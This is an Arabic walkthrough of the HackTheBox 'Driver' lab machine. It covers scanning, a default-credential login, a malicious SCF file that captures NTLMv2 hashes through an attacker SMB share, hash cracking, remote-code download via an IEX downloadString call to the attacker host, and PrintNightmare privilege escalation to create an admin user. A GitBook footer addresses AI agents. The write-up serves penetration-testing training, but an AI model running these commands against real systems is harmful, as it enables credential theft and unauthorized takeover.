> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# شرح Driver HackTheBox

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**المهارات:**

* تخمين كلمة المرور
* ملف SCF خبيث
* تصعيد الامتيازات المحلية في خدمة Print Spooler (PrintNightmare) (CVE-2021-1675]
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/6519456545b78b40655bb28bff761a2ffc770df2" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/80c153fbf8ae62508d23a34041003e8e6c18b0bb" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** استكشاف المنافذ المفتوحة وتصديرها إلى الملف "allPorts" في دليل Nmap:

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="/files/1041e757354c84083deb8154a8f352c6d5ca4134" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractport:**

استخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

<figure><img src="/files/404a2e19e0d3c23b54f3c45f03f3ac4742b8927a" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:** استخدام Nmap لفحص إصدارات المنافذ واستخراج المعلومات إلى الملف "targeted":

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="/files/4e1a86304c0cf7607c6fd34b65a60d20fbc099b6" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/e70483d508f245b2c9eeb2abe5314decf98b919a" alt="" width="563"><figcaption></figcaption></figure>

### تحليل المنفذ 80:

يستضيف المنفذ 80 خادم ويب مع لوحة اتصال.

<figure><img src="/files/d3124c8739ad1ee81337138dc56f5dcb3110bffa" alt=""><figcaption></figcaption></figure>

التحليل باستخدام **WhatWeb** يحدد اسم مستخدم افتراضي: `admin`.

<figure><img src="/files/d8c35de0a5812412591724bd1135222da1937517" alt=""><figcaption></figcaption></figure>

محاولة الاتصال بـ `admin:admin` كبيانات اعتماد.

### مركز تحديث البرنامج الثابت لـ MFP:

<figure><img src="/files/7cb3abd108884f06b87570d8afd6a9576b783fad" alt=""><figcaption></figcaption></figure>

يوفّر الموقع خيار تنزيل البرنامج الثابت. وتشير الرسالة إلى:

> اختر قالب الطابعة وقم بتنزيل تحديث البرنامج الثابت الموافق من مشاركة الملفات لدينا. سيقوم فريق الاختبار بمراجعة التنزيلات يدويًا وبدء الاختبار قريبًا.

<figure><img src="/files/67dd6b6a27820ed81a6b1a91deb3a2834173b83c" alt=""><figcaption></figcaption></figure>

## الاستغلال - ملف SCF خبيث :

إنشاء `.scf` ملف لالتقاط NTLMv2 الخاص بالمستخدم عند فتحه:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

الاستماع باستخدام **impacket** لالتقاط NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

التقط تجزئة NTLMv2 للمستخدم `tony`.

<figure><img src="/files/2f587e27f5e08c27fdc75bda7426df070e604f2a" alt=""><figcaption></figcaption></figure>

اكسر تجزئة NTLM باستخدام **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="/files/a44e2d7d3eafa70b90762a73a40aa82374dcccf1" alt=""><figcaption></figcaption></figure>

## اتصال SMB وWinRM:

**التحقق من الوصول** باستخدام CrackMapExec:

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/2d487bfab446e7c8a53432061c83cfc9178821b5" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* الاتصال باستخدام CrackMapExec:

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/8fd8095df4ef14ae6f493ba375f4cc1e4790f801" alt=""><figcaption></figcaption></figure>

**تحكم باستخدام Evil-WinRM**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/be409cf3d272cfd3d0c994594d66452ec3b79b33" alt=""><figcaption></figcaption></figure>

### الراية user.txt:

<figure><img src="/files/be409cf3d272cfd3d0c994594d66452ec3b79b33" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات :

### **1. الاستطلاع باستخدام PowerUp:**

* تنزيل **PowerUp.ps1** البرنامج النصي على جهاز الهجوم وإضافة `Invoke-AllChecks` الأمر في النهاية لبدء جميع الفحوصات.

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

نقل البرنامج النصي إلى جهاز الضحية عبر خادم Python HTTP:

```bash
python3 -m http.server 80
```

التنفيذ على الجهاز المستهدف:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **النتيجة**: لم يتم العثور على عناصر ذات صلة.

<figure><img src="/files/9476a4652efe6669413c75ba49f9d222c3059e31" alt=""><figcaption></figcaption></figure>

### **2. الاستطلاع باستخدام winPEAS:**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

نقل الأداة **winPEASx64.exe** إلى جهاز الضحية:

`upload winPEASx64.exe`

<figure><img src="/files/f91c243644e3e22d0704e5f8b64ae53b0b51736a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4c863e284f6860c23314a42a6f61fd4a6f36e9ad" alt=""><figcaption></figcaption></figure>

## **استغلال PrintNightmare (CVE-2021-1675)**

توجد عملية **spoolsv** ضعيفة تم اكتشافها، وتستمع على منفذ TCP.

<figure><img src="/files/25f89a6c3a53cfafac010d17dc088c133a45b359" alt=""><figcaption></figcaption></figure>

استخدام برنامج استغلال لـ PrintNightmare، المتاح على GitHub.

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/b732abaf32a21668728541a96b371f9837449b89" alt=""><figcaption></figcaption></figure>

فيما يلي الأوامر لتنفيذها:

1. **نقل البرنامج النصي** لتجنب حظره بواسطة Windows Defender:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **إنشاء مستخدم مسؤول** باسم `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="/files/127a7dbd2461e5cb087fa2090c8154623e154728" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **الحالة**: `jordan` أصبح المستخدم الآن ضمن مجموعة المسؤولين.

<figure><img src="/files/850de6fceef4d79dadeff99db5a78f9f20643a2e" alt=""><figcaption></figcaption></figure>

### اتصال بصلاحيات المسؤول

الاتصال بالجهاز عبر WinRM باستخدام **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="/files/ca5b8e32e33f9fd06f31260c7e5705e7d67f56fb" alt=""><figcaption></figcaption></figure>

### فلاغ الجذر :)

<figure><img src="/files/a8a9af313956122db4a08c8df07fa3c8b1967fd1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/119aa2f752841734775a44e50aea14905ee124a1" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
